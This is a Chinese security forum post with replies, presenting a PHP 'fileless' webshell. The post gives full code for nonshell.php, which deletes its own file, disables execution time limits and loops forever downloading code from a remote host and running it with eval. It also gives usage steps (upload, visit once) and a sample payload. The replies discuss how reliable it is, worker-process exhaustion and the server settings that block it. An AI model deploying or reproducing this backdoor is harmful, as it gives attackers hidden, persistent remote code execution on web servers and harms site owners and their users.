PHP 无文件后门的意思是驻在 php 后台中的 shell。驻留在内存中在后台循环执行命令,可以删掉文件,关掉浏览器,只要服务器进程不重启,可以一直在运行。
nonshell.php
<?php unlink($_SERVER['SCRIPT_FILENAME']); ignore_user_abort(true); set_time_limit(0); $remote_file = 'http://xsser.me/eval.txt'; while($code = file_get_contents($remote_file)){ @eval($code); sleep(5); }; ?>
eval.txt
file_put_contents('1.txt','hello world '.time());
使用方式
将 nonshell.php 传到服务器之后访问一次他会自删除。但,依然会在后台执行 eval.txt 中的代码。
停止执行
删除或清空 eval.txt。
缺点
服务器或WEB容器一重启后门就没了。
相关讨论:
1#
0x2b (作死的节奏) | 2013-10-07 21:09
不就是远程包含文件吗.. 赞!
2#
EDI | 2013-10-07 21:45
还是要写文件啊,不如把后门直接写程序里
3#
juuxdd (["'<$ /_\> & ]) | 2013-10-07 21:53
赞~
4#
Ki11 (??????????????????????????????????) | 2013-10-07 22:04
很牛逼啊
5#
法海 | 2013-10-07 22:26
思路很厉害,资源占用如何?会把cpu占满吗?
6#
z7y (我从前有个很好的小伙伴,他叫VIP,后来他死了。) | 2013-10-07 22:39
@法海 啊啊啊.法海基...多久没上扣了!
7#
法海 | 2013-10-08 00:20
@z7y 忘记多久了
8#
Ivan | 2013-10-08 01:13
远程文件包含
9#
暴暴 | 2013-10-08 01:37
NB。明天试试。
10#
z7y (我从前有个很好的小伙伴,他叫VIP,后来他死了。) | 2013-10-08 02:55
@法海 速度上上上!!!扯几句- 0 -.哈哈
11#
luwikes (土豆你个西红柿,番茄你个马铃薯~~~) | 2013-10-08 08:38
已感谢,谢LZ分享,思路霸气
12#
国士无双 (我来找快乐。) | 2013-10-08 09:52
非常给力!
13#
园长 (乱码你好,乱码再见。) | 2013-10-08 10:43
想法挺有意思的
14#
GaRY | 2013-10-08 10:58
思路很不错,想法赞一个。
不过貌似有几个缺点:
1、好歹用个try之类的语法,一旦eval.txt出错,就不执行了。
2、独占一个worker进程,估计php-fpm之类的进程少了很容易被消耗。
3、对于apache或者iis之类的webserver来说,本身有个执行的最长timeout限制,可能会kill掉(mod_php或者isapi之类的形式)。
15#
Sogili (.) 长短短 (.) | 2013-10-08 11:56
@GaRY
1.eval 出错我这测试是不影响后面运行的,另外加了抑错符 (@).
2.会独占进程?
3.我这测试设置了 set_time_limit(0) 运行1天以上没有问题.
16#
_Evil (尘俗当中有太多人 相识过爱不到) | 2013-10-08 13:10
@Sogili 受服务器限制,安全模式之下就不行了
17#
winsyk | 2013-10-08 13:24
不算新思路了,類似前幾年掛馬的思路。。
18#
无敌L.t.H (:端异是都乳贫持支Ѿ乳巨是须必神肉) | 2013-10-08 16:33
这也叫无文件……
19#
GaRY | 2013-10-08 17:01
@Sogili 独占进程和你形式有关,php-fpm和cgi模式会独占一个。其他的不会。同理,如果是php-fpm模式运行的,也不会有运行时间限制。mod_php之类的方式,时间限制也得看webserver自身是怎么设置的。
eval出错,我是说如果eval.txt里出了语法错误之类。。这个我没测试,猜一下可能会中断。
20#
botak | 2013-10-08 19:40
@Sogili set_time_limit() 设置了也没多大用 ignore_user_abort(true); 这个我能告诉你。10个服务器我测试9个都不能么。太不稳定了。
21#
Sct7p | 2013-10-08 21:52
安全模式无效
22#
xiaoming (老子奶是朝山麻花藤) | 2013-10-09 14:12
没有太大用处,allow_url_include默认是不开启的。
23#
Sogili (.) 长短短 (.) | 2013-10-09 14:28
@botak 我测试了10个服务器有9个可以。
@Sct7p 有几个服务器开了?开了有几个主流应用能运行?另外最新版php 5.4已经废除了安全模式。
@xiaoming 难道不是allow_url_open ?
24#
whirlwind (息壤最大代理商,北京/香港不限内容云服务器,五线BGP/10兆独享/4千兆硬防,备案/可信,QQ493633628,海外服务器请联系Mujj-------------------------------------------------------无损音乐网 http://wusunyinyue.cn----------------------月色仍如昔,江上有归帆!-----------------------------) | 2013-11-23 23:41
一下就扫出来了吧,同22楼,wamp默认配置不允许的。好多都不允许
25#
0x0F (..........................................................................................................................................................................................................................................................) | 2013-11-23 23:51
@whirlwind 他是file_get_contents,不是include.